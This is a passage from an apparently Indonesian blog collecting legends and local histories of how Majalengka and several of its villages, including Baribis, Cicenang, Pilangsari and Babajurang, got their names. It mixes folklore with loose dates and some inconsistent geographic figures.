kakaknya.”Nyai, disini, Kng!” Sri Ratu berteriak.<br />“Kamu tidak apa-apa Nyai?”Tanya Dalem Rangga.<br />Tidak, Kang! Sekarang kita bertiga membangun di sini saja, biarlah paman Pinamgeran Patih dan paman Parung Jaya memberekan pembangunan di Maja atas,” ujar Sri Ratu.<br />“Nyai Ratu jangan pulang dulu ke Cirebon,”Ujar Dalem Rangga. Sri Ratupun mengangguk memberikan isyarat tanda setuju kepada kakaknya bahwa ia tidak akan pergi ke Cirebon.<br />Tak terasa waktupunbergulir dengan cepat, sudah Sembilan bulan lamanya ketiganya anak Syeh Nurjati dan kedua pengawalnya inggal di Majalengka. Hari Rabu tanggal 17 Rajab tahun 1405 Masehi, Prosesi Majalengka tuntas, kemudian ketiga anak Syeh Nurjati bermusyawarah mengenal kepengurusan dan kedudukan jabatan agar Majalengka mempunyai status pemerintahan. Hasil dari musyawarah tersebut pada hari Selasa tanggal 3 Maulud tahun 1405 Masehi ditetapkan sebagai berikut :<br />Ratu Purbaningsih : Menduduki jabatan sebagai Mahkamah Agung<br />Dalem Permana : Menduduki jabatan sebagai Jaksa Agung<br />Dalem Rangga : Menduduki jabatan sebagai Bupati<br />Pinangeran Putih : Menduduki jabatan sebagai Wedana<br />Surawijaya : Menduduki jabatan sebagai Kepala Keamanan<br />Surya Nanggeuy : Menduduki jabatan sebagai Kepala Staf<br />Parung Jaya : Menduduki jabatan sebagai Staf<br />Sementara itu, Sembilan bulan lebih kepergian ketiga anaknya tidak ada kabar berita. Ini membuat Syeh Nurjati sebagai ayahanda di Cirebon merasa resah dan gelisah terus -menerus. Agar tak resah dan gelisah hati seorang ayah ketiga anaknya, Syeh Nurjati memberikan perintah kepada Pangeran Muhammad mencari dan menelusuri keberadaan ketiga anaknyayang sedang membuka daerah kekuasaan di arah Barat sebelah Selatan Gunug Ciremei itu.<br />Setelah menerima perintah dari Syeh Nurjati, Pangeran Muhammad langsung berangkat. Dalam waktu bersamaan pula Dalem Rangga pergi ke Cirebon untuk menemui ayahandanya guna melaporkan bahwa selama ini titah dan keinginan ayahandanya telah terpenuhi. Setibanya di Cirebon ayahandanya menjemput dan memeluk sambil berkata, “Rangga, ayah sangat resah dan gelisah kepada ketiga anak-anak ayah, tak terasa sudah Sembilan bulan lamanya tidak bertemu, takut terjadi apa-apa. Terpaksa ayah memerintahkan ajudan ayah (gandek-B. sunda) Pangeran Muhammad untuk mencari kalian. Apakah kamu tidak bertemu dengannya dijalan?”<br />“Tidak, ayah!” ujar Dalem Rangga. Rupanya, antara Pangeran Muhammad dan Dalem Rangga terjadi perselisihan jalan.<br />Lalu, Dalem Rangga menceritkan keberhasilan misi yang diembannya bersama kedua adiknya.<br />“Sekarang kita memberitahukan kepada gusti sinuhun kalu daerah itu sudah diketemukan, dan sudah diberi nama Majalengka,” ujar Syeh Nurjati setelah mendengar laporan itu.<br />Di lain pihak, Paneran Muhammad tiba di Majalengka tanggal 10 hari Selasa Wage tahun 1405 Masehi, dan tanggal 11 hari Rabu Kliwon tahun 1405 Masehi Pangeran Muhammad menghadap Nayi Ratu.<br />“Paman diutus oleh ayahanda Nyai Ratu bahwa Nyai Ratu harus segera pulang ke Cirebon,” ujar Pangeran Muhammad.<br />“Nyai tidak akan pulang paman. Paman juga tidak usah kembali lagi ke Cirebon, lebih baik mencari dan harus menemukan daerah (riwayat), tapi yang terlalu dekat dengan daerah Nyai, silahkan mencari ke arah Barat saja,”ucap Nyai Ratu.<br />Pangeran Muhammad pun mengangguk menuruti perintah Nyai Ratu.<br />Hari kamis tanggal 12 mulud tahun 1405 Masehi, Dalem Rangga kembali ke Majalengka dan mengundang kedua adiknya yang bermaksud untuk meresmikan daerah temuannyaitu. Peresmian itu akan dihadiri oleh ayah beserta ibunya.<br />Tanggal 15 hari Selasa kliwon tahun 1405 Masehi Syeh Nurjati dan Ratu Siti Maningrat tiba di Majalengka, saat itu kebetulan pula Ratu Siti Maningrat sedang hamil 9 bulan. Ketika diperjalanan perutnya terasa mulas mau melahirkan, belum tiba ditempat tujuan, Ratu Siti Maningrat melahirkan dijalan sambil bersandar dipohon jati. Selendang Ratu Siti Maningrat dikaitkan diranting besar. Ratu Siti Maningrat melahirkan seorang bayi laki-laki dinami Raden Sofyan Permana Hadikusumah, hingga peristiwa tersebut terkenal dengan nama jalan Jatisampay.<br />Syeh Nurjati dan Ratu Siti Maningrat berada di Majalengka satu minggu lamanya, dan kembali ke Cirebon sambil membawa bayi. Dalam usia tujuh tahun Raden Sofyan Permana Hadikusumah ditinggal wafat ibunya. Sejak usia tujuh tahun hingga empat puluh tahun Raden Sofyan Permana Hadikusumahikut dengan kakaknya, Nyai Ratu Purbaningsih.<br />Demikianlah sejarah singkat Majalengka. Kini Majalengka menjadi pemerintahan berbentuk kabupaten. Kabupaten Majalengka terletak disebelah Timur Provinsi Jawa Barat. Sebelah Utara berbatasan dengan Kabupaten Indramayu, sebelah Selatan berbatasan dengan Kabupaten Ciamis, sebelah Barat berbatasan dengan Kabupaten Sumedang, dan sebelah Timur berdekatan dengan Kabupaten Cirebon.<br />Secara Geografis Kabupaten Majalengka di antara 180°-109° Bujur Barat dan 10°-7° Lintang Selatan, mempunyai dimensi terjauh antar Utara-Selatan berjarak kira-kira 52 km, Barat-Timur kira-kira 42 km. Luas Kabupaten Majalengka 120.424 Ha terdiri dari 23 kecamatan dan 327 desa/kelurahan. Desa-desa tersebut digolongkan ke dalam desa swasembada dan sebagian kecil digolongkan ke desa swakarya.<br />Kelak, Sejarah Majalengka erat kaitannya dengan cerita mistik Nyai Rambut Kasih, sebuah legenda masyarakat yang Selama ini menjadi sangat fenomenal.Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-23133027050713273892010-09-21T22:22:00.000+07:002010-09-21T22:23:27.430+07:00Asal Usul Sekitar Daerah Majalengka14. ASAL USUL DESA BARIBIS LAMA<br /><br />Terbentuknya Pemerintahan Baribis Lama<br />Pada tahun 1302 M, datanglah ke Dukuh Asem sepasang suami istri, yaitu : Pangeran Jaya Wisaya dan Nyi Anta Sari Manik. Mereka berdua menjalankan titah tugas dari Kanjeng Susuhunan Sultan Cirebon : Sunan Gunung Jati, untuk menyebarkan agama islam, tapi masih menganut Animisme atau agama lainya : Hindu atau Budha dan agama karuhun lainnya semacam kepercayaan.<br /><br />Asal kelahiran Pangeran Jaya Wisaya sebenarnya bukan asli Cirebon, namun dari Keraton Mataram, dan masih saudara dengan Pangeran Dalem panungtun yang makamnya di Giri Lawungan Majalengka (Sindangkasih) begitu pula istrinya Nyi Anta Sari Manik aslinya kelahiran BEREBES Jawa Tengah. Mereka berdua bukan orang sembarangan. Sebagai da’i, penyebar agama islam yang senantiasa mengembara tentu membekali diri dengan berbagai ilmu kedigjayaan untuk berjaga-jaga, dari berbagai kemungkinan dan bahaya. Diriwayatkan keduanya memiliki Aji : Miraga pitu. Bahkan sang istri memiliki gegaman : CUPU MANIK.<br /><br />Pangeran Jaya Wisaya bersama istrinya merasa betah tinggal di Dukuh Asem. Selanjutnya beliau merasa perlu membentuk organisasi pemerintahan di Dukuh Asem, mengingat semakin bertambah, yang tentu saja memerlukan pengurusan yang tertib, demi kepentingan dan kesejahteraan hidup bersama. Maka dibentuklah atas restu dari keratin Cirebon Kademangan Dukuh Asem, yang kemudian namanya di rubah dengan nama BARIBIS. Pada saat itu jumlah penduduk Dukuh Asem telah mencapai 224 orang selurhnya termasuk anak-anak dan bayi.<br /><br />Adapun orang yng pertama di pilih oleh rakyat adalah Pangeran Jaya Wisaya tidak heran, karena berkat beliaulah rakyat merasa tentram dan sejahtera. Sementara islam telah menjadi agama mereka. Ini pun berkat akhlaq yang luhur kedua suami istri itu. Sehingga misi suci mereka, menyebarkan kebenaran, tauhid, tidak mendapat perlawanan ; malah di sambut dengan rela mengikuti dan memeluk agama baru, yaitu Islam.<br /><br />Tentang pergantian nama menjadi Baribis, sebetulnya bukan kejadian yang terjadi begitu saja. Namun hal ini lahir dari perenungan dan konsultasi dengan para sesepuh dan tokoh masyarakat Dukuh Asem. Wallahu ‘alam. Ada yang menafsirkan dari kata BABARIBISA. Maksudnya penduduk Dukuh Asem dalam mempelajari agama islam cepat dan lancar memahami, cepat mengerti, Babari Bisa, kemudian diwancah, disingkat diambil gampangnya menjadi BARIBIS. Ada pula penafsiran dari kata BEREBES, asal kelahiran Nyi Anta Sari Manik. Dimaksudkan untuk mengenang tempat asal kelahiran beliau. Sehingga antara Baribis dan Berebes tetap terjalin hubungan yang bersifat batiniah yang diabadikan melalui nama BARIBIS. Semuanya serba mungkin. Wallahu ‘alam, kita serahkan semuanya kepada Allah SWT.<br /><br />Fakta betapa sangat tuanya desa Baribis, juga didukung oleh beberapa bukti antara lain banyaknya pemakaman umum yang tersebar khususnya di Baribis sendiri. Jika dihitung lebih dari delapan tempat pemakaman umum yang besar-besar dan luas kapasitas kuburannya paling sedikit ada dua ratusan. Yang paling banyak sekitar 4500 an (seperti halnya pemekaman Gnung Cupu yang sangat luas itu). Belum lagi kalau ditambah dengan pemakaman yang ada di desa-desa bekas anak wilayah desa Baribis, seperti Babakan Manjeti, Kutamanggu dan Batu Jaya yang baru lepas dari Baribis sekitar tahun 1983 M.<br /><br />15. ASAL MUASAL DESA CICADAS<br /><br />Nurutkeun carita kolot baheula cicadas the lain desa,tapi CANTILAN atawa DUKUH,tapi desa n amah ka bawa ka desa Burujul.Sahubungan jeng warga na nu makin loba,jadi ceuk sarerea atawa ceuk kolot.kumaha carana supaya hayang misah atawa hayang dibagi dua masing-masing jadi desa nu misah ku kuwu na. antara kuwu Burujul jeung kuwu Cacadas tapi kudu aya kasaiujuan sarerea antara kadua Beulah pihak, nyaeta kudu di ayakeun pilihan nyaeta pilihan KUWU. kumpulan demi kumpulan,riungan demi riungan terus di laksanakeun antara sesepuh kadua pihak. akhirna hasil gempungan eta nyapaketkeun kudu pilihan menurut pangaturan kuwu Burujul, tapi CAERNA ti Burujul z ti Cicadas.<br /><br />Terus saran eta teh disatujuan ku pihak Cicadas, terus Masyarakat Cicadas the ngajukeun gempungan deui kumaha cara na pilihan eta the beunang ku pihak calon Cicadas sakabeh Masyarakat anu milih ka calon Cicadas di omongan kumaha carana ambeh meunang Niti Wonaci nu mustari ninggang mangsa nu sampurna eta pilihan teh dilaksanakeun dasar kudu aya desa Cicadas anu meunang pilihan teh ti pihak calon Cicadas jeung kaayaan itunganna matak jeung Sali beunang ku Cicadas jadi daek teu daek sesepuh Burujul kudu misah keun eta wilayah anu tadina cantilan Burujul teh jadi desa nyaeta desa Cicadas anu bates na antara sasak jeung sasak ti Beulah wetan anu ayeuna di sebut sasak Cicadas anu ti belah kulona sasak anu deukeut SPBU anu di sebut sasakala desa Cicadas teh nyaeta hate jeung tekad na sarua jeung batu cadas teuasna.<br /><br />16. ASAL MUASAL CICENANG<br /><br />Pada perkiraan abad ke-18 di Jawa tengah, yaitu sebuah Kerajaan yang maha besar dan bernama mataram yang sempat mencapai kejayaan sejak diperintah oleh Sultan Agung, yang pendiriannya dan hatinya sangat membenci kaum penjajah yang selalu merongrong kerajaan maupun masyarakat Kerajaan Mataram pada zamannya.<br /><br />Maka pada waktu Sultan Agung mengadakan perlawanan terhadap penjajah(Belanda) langsung dengan mengerahkan bala tentaranya untuk menyerang jakarta. Pusat Komando penjajah yang pada waktu itu Batavia. Lengkap dengan segala peralatan perangnya seperti: tombak, pedang, keris, bamboo runcing, meriam hasil rampasan maupun buatan sendiri dengan tekad ingin mengusir penjajah dari muka bumi Indonesia, walaupun hanya memakai persenjataan yang sederhana. Maka dikirimlah bala tentara Mataram untuk menghancurkan VOC dengan melalui jalan darat(pegunungan) di sebelah pegunungan Majalengka yaitu Gunung Margatapa.<br /><br />Pada penyerangan pertama ini Sultan Agung tidak berhasil Sebab kekurangan bahan makanan. Mereka mundur untuk kembali ke Mataram, tetapi diantaranya banyak prajurit Mataram itu tidak kembali ke Mataram. Akan tetapi mereka mencari tempat tinggal yang baru di sepannjang jalan. Salah seorang dari mereka ada yang singgah dan menetap di hutan yang banyaktumbuh berjajar pohon lame.<br /><br />Prajurit tersebut adalah Embah Buyut Jenggot (karena berjenggot panjang) yang makamnya terdapat di Lamejajar dan tempat itu sekarang diberi nama kampong Lamejajar.<br /><br />Sultan Agung Raja Mataram merasa tidak puas dengan tidak berhasilnya penyerangan ke Batavia tersebut. Sehingga ia menyusun kembali pasukan untuk menyerang untuk kedua kalinya ke Batavia dengan perlengkapan ditingkatkan. Disepanjang jalan yang dilalui didirikan lumbung padi sebagai persediaan makanan prajurit tetapi impiannya gagal karena semua lumbung padi di bakar oleh tentara VOC. <br /><br />Yang akhirnya tentara Mataram kehabisan makanan, mereka kembali mundur ke Mataram. Diantara sekian banyak prajurit tersebut ada yang tidak mau kembali ke Mataram tetapi singgah di pedukuhan Lamejajar menemui embah buyut Jenggot, prajurit tersebut bernama Pangeran Martaguna. Yang bermaksud membuka perkampungan baru yang tidak jauh dari Lamejajar.<br /><br />Untuk maksud tersebut pangeran Martaguna dan embah Jenggot pergi mencari tempat tinggal dan pada suatu hari dilihatnya ada suatu cahaya yang memancar kemudian mereka mencari tetapi mereka tidak mendapatkan apa-apa hanya sumber air yang bening, yang tempatnya di kabuyutan Sirah Dayeuh maka disitulah pangeran Martaguna membuka tempat pemukiman yang baru dan tempat ( pedukuhan ) dinamakan Cicenang dan pangeran Martaguna inilah merupakan kuwu atau kepala Desa yang pertama dan hingga sampai sekarang yang ke 30.<br />Pada umumnya bersatu padu ingin membangun desa sehingga menjadi desa yang betul-betul swasembada dalam segala hal.<br /><br />Dan demikianlah riwayat singkat kejadian dan silsilah desa Cicenang berdasarkan hasil pengumpulan informasi dari tokoh-tokoh masyarakat mudah-mudahan benar adanya serta bermanfaat selanjutnya.<br /><br />17. ASAL-USUL DESA CISAHANG<br /><br />Sebelum menjadi desa, pertamanya merupakan hutan belantara, yang tak ada penduduknya. Kemudian ada orang yang melarikan diri dari penjajahan Belanda, dan bersembunyi di sana. Para penjajah Belanda tidak menemukannya.<br />Orang itu melihat tumbuhan sahang yang tumbuh di pinggir sungai yang airnya sangat jernih, sehingga dia memutuskan untuk memberi nama Cisahang. Dia mengajak yang lainnya untuk tinggal di sana, sehingga banyak penduduk yang menempati tempat itu, mereka berasal dari berbagai wilayah yang berbeda-beda. Akhirnya tempat itu menjadi pemukiman sehingga berbentuk sebuah desa sampai saat ini<br /><br />18. Asal usul desa pilangsari<br /><br />Pada abad XVII sekitar tahun 1742, seorang jejaka berasal dari daerah kedongdong yang bernama MAULANA SURANTAKA bertemu dengan Buyut Merat di kawasan Blok Kubang Kawih yang akhirnya menjadi pembantu Burut Merat. Pekerjaan sehari-hari mereka adalah babak-babak ( membuka hutan untuk lahan pertanian ). Buyut Merat melakukan babak-babakanya di Kubang Kawih sedangkan Maulana Surantaka babak-babak di sebelah timur kubang kawih (sekarang dinamakan sawah blok pilang). Rumah kediaman Buyut Merat dan Maulana Surantaka adalah di kawasan hutan belantara di sebelah barat laut blok kubang kawih yang dikenal dengan nama “LAESAN PURA”. Laesan artinya tempat mengikat kuda (bahasa sundanya tempat nyancang kuda).Pura artinya hutan belantara, konon ceritanya bahwa ditempat itu dulunya sering digunakan untuk mengikat kuda karena saat itu belum ada desa.<br /><br />Suatu ketika Maulana Surantaka dan Buyut Merat melakukan SERBA BAKTI ke cirebon menemui Maulana Matangaji (ayah maulana surantaka). Mereka membawa jamur yang diperoleh dari pohon pilang yang tumbuh di sawah Maulana Surantaka (blok sawah pilang). Sesampainya di Cirebon, jamur tersebut di persembahkan kepada Maulana Matangaji yang tentunya, kemudian di masak dan dimakannya. Ternyata jamur itu rasanya anak dan ada serinya sehingga ketika Maulana Surantaka dan Buyut Merat (laesan pura) agar diberinama “Pilangsari” kata pilangsari berasal dari kata “pilang dan sari”. Pilang adalah jenis pohon yang batangnya berduri tempat tumbuhnya jamur, sari artinya enak,ada sarinya.<br /><br />Sepulangnya dari Cirebon, wilayah laesan pura diganti menjadi “pilangsari” oleh Maulana Surantaka dan Buyut Merat, nama pilangsari ini bukan nama desa tapi hanya nama wilayah. Maulana Surantaka dikenal dengan nama Buyut Cao alias Buyut Gempol sedangkan Buyut Merat disebut juga Buyut Rebo.<br />Roda jaman terus bergulir,hampir satuabad pilangsari penduduknya kian bertambah datang dari berbagai daerah sehingga semakin layak dijadikan sebuah desa, akhirnya tahun 1842 pilangsari menjadi sebuah Desa yang disebut Desa Pilangsari. Kuwu pertama yang memimpin Desa Pilangsari adalah Bapak Wasra atau Bapak Muria, beliau memerintah dari tahun 1842 sampai 1854.<br /><br />Buyut Cao atau yang nama aslinya Maulana Surantaka yang semula menjadi pembantu Buyut Rebo/Buyut Merat akhirnya menjadi menantunya mangawini putri kesayangannya. Beberapa tahun kemudian tepatnya pada tahun 1892 Buyut Rebo atau Buyut Merat wafat dan dimakamkan di Kubang Kawih. Selanjutnya tidak lama ke istri Buyut Rebopun masa pemerintahan kuwu ASMAD ditahun 1937. kedua makam tersebut dipindahkan ketengah desa Pilangsari yang dilakukan oleh para sesepuh sebanyak 12 orang di pimpin oleh kuwu Asmad.<br /><br />Setelah Buyut Rebo meninggal, tinggalah Buyut Cao yang meneruskan perjuangan Buyut Rebo di Kubang Kawih. Bantera rumah tangga Buyut Cao terus berjalan mulus, hingga akhirnya di karunai dua orang anak yaitu anak pertama seorang parempuan yang di kenal dengan nama Nini Kengken dan adiknya laki-laki bernama Aki Dang-Dang yang selanjutnya Aki Dang-Dang nantinya mempunyai anak bernama Buyut NAOE (Baca;Buyut Nau)<br />Demikianlah lintasan sejarah pilangsari yang diperoleh dari narasumber yakni dari para sesepuh , tokoh masyarakat, tokoh pemuda, anggota BPD, tokoh ulama dan para cendikiawan pilangsari yang menamakan diri ebagai “POKJA 25” yang dipimpin oleh kuwu Turohman.<br /><br />Hari jadi PILANGSARI yaitu hari Rabu 15 Juli 1762 <br /><br />19. ASAL MUASAL BABAKAN KODA<br /><br />Konon katanya Babakan adalah membabak-babak dari satu menjadi 2 dan seterusnya dalam pembangunan sebuah pemukiman rumah.Inipun ada kemiripan tetapi berbeda,Babakan koda memiliki sebuah Legenda dan cerita yang tak pernah habis-habisnya.<br />Istlah Babakan koda berasal dari Babak-babak oleh Mbah Koda.Jaman dahulu ditengah-tengah himpitan antara petapaan Para Leluhur pembawaan ajaran Agama baik Hindu maupun Islam,diantaranya:<br />Di sebelah Timur ada yang namanya penyebar agama Hindu yaitu Petapaan Nyi Rambut Kasih.Di sebelah Selatan ada yang namanya penyebar Agama Islam yaitu Petapaan yang dihuni bernama Pangeran Muhammad.Disebelah Barat ada yang namanya “Siti Armilah”.dan di tengah-tengah himpitan itu ada rerungkun dengan kesan Angker,pohonnya besar yaitu Pemghuni “Mbah Jaga Lautan”.Sering disebut juga “Kopo”.Masyarakat sekitarnya seperti Cicurug,Sindang Kasih dan Lainnya.Nama MBAH JAGA LAUTAN dominan dengan MBAH KODA yang nama kebuyutannya “KOPO”.Babakan koda hanyalah sebuah kampung cantilan yang masuk wilayahnya ke Desa/Kelurahan Cicurug.Luasnya kurang lebih 2,5 km.Dengan 2 Rukun Warga (RW).Sekarang disebut lingkungan Margaraharja,Penghuninya kebanyakan petani.Masyarakat Babakan Koda yang Berbatasan dengan Kelurahan Majalengka Wetan tetap beranggapan dirinya adalah kampung.Oleh karena itu keyakinan mereka sangat kental dengan istilah Ortodak.<br /><br />Kenapa masyarakatnya masih ketinggalan dengan teknologi ,masih budaya lama?Karena adanya istilah sesaji yang diberikan kepada arwah leluhur Mbah Koda.Sekarang Mbah Koda atau Mbah Jaga Lautan tinggalah nama yang masih tersimpan oleh para sebagian orang tua dan anak-anaknya yang meyakini cerita masa lalunya.Ada cerita yang bisa meyakini (Tahayul )Keistimewaan Mbah Koda tersebut,yaitu:Misalnya konon katanya dan sering dilaksanakan:Apabila masyarakat yang melaksanakan syukuran (hajatan ) pernikahan,khitanan ingin rejeki banyak,selamat dan pelaksanaan syukuran tidak hujan,tidak ada malapetaka,Hal ini diharuskan bawa sesajen ke tempat itu melalui penjaga kebuyutan (Juru Kunci).Bahkan ada serimonial yang dilakukan apabila mau dikhitan (sunatan )yang mau selamat dilakukan dulu gusaran mandi ke mata air Kopo yang ada di sekitar kebuyutan.Memang sumber air kopo sampai sekarang masih mengalirkan airnya tanpa kekeringan walaupun di musim kemarau.<br /><br />Sekarang Babak-babak koda itu makin melebah pemukimannya,dibelah dengan Jalan Babakan Koda.Bahkan nama “kopo” oleh masyarakat sekitarnya dijadikan nama Gang /Jalan,misalnya Kopo I,II,dan III.<br /><br />20. ASAL USUL DESA BABAKAN ANYAR<br /><br />Menurut Umi Soka / Aki Soka sebagai saksi sejarah Babakan Anyar yang masih mengetahui persis riwayat desa ini. Ia konsisten pada pendirian & keinginannya untuk tetap mampertahankan nama Babakan Sinom daripada nama Babakan Anyar.<br />Memang pada mulanya desa ini bernama Babakan Sinom, terdiri atas 3 blok, yaitu Babakan Sinom, Pasanggrahan & Dayeuh Kolot. Babakan Sinom adalah daratan yang jauh dari Sungai Cilitung & Cimanuk. Sedangkan Pasanggrahan merupakan kota besar di Kadipaten pada saat itu, yang persis berada di samping sungai.<br /><br />Pasanggrahan adalah pelabuhan utama perahu-perahu niaga. Pasanggrahan juga sebagai pelabuhan bagi arus distribusi gula. Hasil produksi PG Kadipaten di distribusikan melalui sungai Cimanuk & Ciiwung, melalui Indramayu ke pantai utara jawa dengan tujuan Batavia (Jakarta).<br /><br />Pada saat pelabuhan Pasanggrahan dikuasai oleh Ko Pek Lan/ Babah Pek Lan. Ia adalah penguasa Cina yang menguasai Kadipaten. Ko Pek Lan melakukan kongsi dengan koleganya Eng Kit mengatur perdagangan di Pasanggrahan.<br />Kekuatan ekonominya mengalahkan kakuatan Belanda dlm mengendalikan alur bisnis produksi gula. Maka Ko Pek Lan hadir sebagai pengusaha yg memberikan suntikan dana untuk PG. Transaksi perdagangan pada saat itu tidak menggunakan uang goeng/ uang logam tapi uang kertas.<br /><br />Kota Pasanggrahan akhirnya dikuasai oleh warga Cina pendatang. Mereka jadi penguasa ekonomi, sementara warga desa menempti blok Dayeuh Kolot.<br />Oleh karena terjadinya perubahan struktur geologi tanah akhirnya kota Pasanggrahan terendam. Seluruh warga kota Pasanggrahan ngungsi. Begitu pun dengan warga Dayeuh Kolot yg sama-sama terkena imbas luapan air sungai terpksa mengungsi. Mereka membuka lahan baru utk pemukiman yaitu Babakan Baru/ tempat pemmukiman baru.<br />Mereka menempati kampong baru Babakan Sinom. Babakan Sinom memiliki warga baru dgn jml banyak. Akibatnya muncul nama baru(anyar) utk Babakan Sinom yaitu Babakan Anyar.<br />Akhirnya Pasanggrahan dinyatakan sebagai The Lost City atau Kota Yg Hilang. Terlebih lagi setelah dibangunnya DAM Rentang Jati7, tidak ada lagi perhu-perahu dari Indranayu yang bias masuk ke wilayah ini. <br /><br />Apalagi setelah munculnya kendaraan-kendaraan bermotor lalu lintas ekonomi di sungai menjadi tidak berarti lagi. Pengangkutan barang seperti garam,gula,padi & tebu dialihkan ke jalur darat. Apabila dikaitkan dengan asal usulnya, Babakan Anyar merupakan daerah hasil pemekaran dari desa Karangsambung. Daerah ini pada awalnya merupakan daerah kekuasaan Demang Karangsambung. <br /><br />Nama Babakan Anyar sendiri resmi menjadi nama desa pada saat desa ini diPimpin kuwu Warsita. Daerah Babakan Anyar sempat menjadi sasaran tentara Belanda.<br />Desa Babakan Anyar memiliki 3 situs atau cagar budaya berupa makam kramat. Terdiri atas Makam Kramat Buyut Siwalan, Buyut Anis & Buyut Gabug. <br /><br />Babakan Anyar sekarang dihuni oleh 2178 jiwa penduduk. Suatu jumlah yang sangat tidak sebanding dengan desa tetangganya yang mencapai 6X lipat jumlah tersebut. Hal ini menisbikan/ membiaskan kejayaan Babakan Anyar sebagai daerah yang pernah menjadi kota pelabuhan penting di JaBar.Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-77660037113726214692010-09-21T22:19:00.000+07:002010-09-21T22:22:29.313+07:00Asal Usul Sekitar Daerah Majalengka12. ASAL USUL DESA BABAJURANG<br /><br />Pada waktu itu negara Indonesia ini masih dalam bentuk kerajaan. Disamping kerajaan besar yang berada di Indonesia ada 2 buah kerajaan kecil yaitu kerajaan singakarta dan nagakarta. Kedua kerajaan itu saling bermusuhan. Kerajaan nagakarta adalah sebuah kerajaan yang paling tentram karena pemimpinnya adalah Raja Darta. Raja darta adalah seorang raja ynag paling arif bijaksana. <br /><br />Raja darta adalah seorang pemimpin yang jujur dan adil kepada masyarakatnya. Sedangkan Raja Purwa ialah seorang Raja dari Kerajaan Singakarta ialah raja yang sombong dan raja yang selalu ingin berkuasa di kawasan mana saja.dan yang paling penting kerajaan tersebut menginginkan kekuasaan yang diduduki oleh raja Darta. Kerjaan Nagakarta memeliki sebuah batu berlian yang sangat bersar yang dapat memerintah dimana saja. Oleh karena itu kerajaan singakarta menginginkan batu berlian tersebut untuk berkuasa. <br /><br />Pasukan singakarta pun menyerang Kerajan Nagakarta sehingga terjadi sebuah pertempuran antara kerajaan nagakarta dan kerajaan singakarta. Ditengah pertempuran Raja Nagakarta berbisik pada kedua orang prajuritnya untuk memebawa kabur batu berlian itu sejauh mungkin. Karena Raja Darta tidak mau batu berlian itu sampai jatuh ketangan Raja Purwa. Kedua orang suruhan Raja Darta membawa pergi batu berlian tersebut. Pertempuran akahirnya selesai kerajaan Nagakarta mengalami kekalahan karena pasukan Kerajaan Singakarta sangat banyak sehingga peretmpuran tersebut dimenangkan oleh Kerajaan Sinagakarta. <br /><br />Setelah pertempuran reda pasukan singakarta mulai masuk kedalam istana dan mulai memerikasa dan mencari batu berlian tersebut, ternyata batu berlian tersebut tidak ada di Istana . mendengar bahwa batu berlian tersebut sidah tidak ditemukan diIstana Raja Purwa marah karena tidak dapat membawa batu berlian itu ke wilayah Kerajaan Singakarta. <br /><br />Kerajaan Nagakarta di hancurkan. Setelah dihancurkan Raja Purwa memerintahkan pasukannya utuk mencari utusan yang memebawa batu berlian tersebut.setelah pencarina tersebut pasukan Singakarta Tidak dapat menemukan utusan yang memebawa batu berlian tersebut. Pasukan tersebut kehilangan jejak.<br /><br />Setelah berlari terlalu jauh utusan tersebut berhenti sejenak untuk melepaskan lelah. Tak terasa kedua utusan tersebut beristirahat di sebuah hutan dan dipinggirnya terdapat sebuah tebing (jurang) yang sangat curam. Setelah beberapa hari mereka berada didalam hutan, mereka berpikir untuk apa kita hidup kalau selalu dikejar-kejar oleh pasukan dari Krajaan Singakarta. Satu dari utusan tersebut berbicara “bagaimana kalau kita terjun saja kejurang ini?” tapi kalau terjun kebawah jurang bagaimana dengan amanat dari Raja Darta mengutus kita untuk menjaga batu berlian ini.kedua utusan tersebut berpikir sejenak. <br /><br />Akhirnya satu dari utusan tersebut berbicara “bagaimana jika batu berlian ini kita bagikan kepada orang – orang yang kurang mampu”. Utusan yang satunya menjwab “bagaimana dengan amanat yang diberikan kapada kita.” Begini saja kakang kita tulis saja amanat didalam kotak berlian ini.bagai mana kakang setuju tidak?”. Setelah batu berlian tersebut di masukan kedalam kotak yang sudah terdapat pesan maka mereka terjun kejurang tersebut pikirnya mereka dari pada tertangkap dan dibunuh oleh pasukan dari Kerajaan Singakarta lebih baik mereka mati dari pada mereka harus mati. <br /><br />Akhirnya kedua utusan tersebut terjun kedalam jurang tersebut. Setelah utusan tersebut terjun kedalam jurang ada 2 orang anak yang sedang mengembala kambing dan kedua anak tersebut sambil membawa seekor anjing. Seekor anjing menggonggong seakan ingin memeberitahukan bahwa ada mayat yang terjatuh dari jurang tersebut. Kedua anak tersebut langsung menghampiri suara gonggongan anjing tersebut.<br /><br />Ternyata ada 2 buah mayat yang terdampar dengan sebuah kotak yang sangat besar. Anak tersebut langsung lari untuk memberi tahu orang tuanya, bahwa mereka menemukan 2 oarang mereka bahwa ada babah di jurang maksud anak tersebut adalah mayat yang terdampar di jurang. Orang tua anak tersebut langsung pergi menuju jurang. Setibanya mereka disana orang tua dan kedua anak tersebut langsung memekamkan kedua mayat tersebut tepat dimana merekan menemukan mayat tersebut. Setelah mereka memakamkan mayat tersebut mereka langsung membuka kotak yang isinya belum merekan ketahui. Setelah orang tua tersebut membuka kotak tersebut mereka kaget ternya ta sebuah batu berlian yang sangat bersar dan selembar surat yang berisi sebuah pesan yang isinya “ pergunakanlah batu berlian ini sebaik mungkin”. <br /><br />Setelah beberapa tahun kemudian terdapat kawasan yang cukup luas dan sangat strategis untuk dijadikan sebuah pedesaan. Akhirnya kawasan tersebut dibuat sebuah Desa yang makmur dan sederhana walaupun penduduk desa tersebut sedikit tetapi mereka tidak kekurangan untuk menghidupi kehidupan. Desa tersebut di beri nama Desa Babajurang. <br /><br />Seiring berkembangnya waktu Desa Babajurang tersebut mengalami perubahan dalam sistem pemerintahan yang tadinya dari sistem kerajaan berubah menjadi sistem demokrasi, pada waktu itu diadakan pemelihan Kepala Desa atau Kuwu. Pada waktu itu Kuwu yang pertama kali menjabat adalah Bapak Kuwu Ubred terus dan sampai sekarang terdapat 15 kuwu atau kepala desa yang menjabat di Desa Babajurang diantaranya<br /><br />13. ASAL-USUL LAHIRNA NAMA KELURAHAN <br /><br />Pada retengahan abad XV1 Masehi,wilayah semedang Larang tatar-wetan,rakyatnya masih mengnit agama hindu dan disitu pulalah adanya Padepokan agama Hindu yang besar dan banyak pula penganutnya.Adapun padepokan tersebut di pimpin oleh 3 orang tokoh hindu yang semuanya wanita yaitu:Mbok Nyi Rambutkasih alias Ambetkasih dan di bantu oleh Mbok Nyi Ramogede dan Mbok Nyi 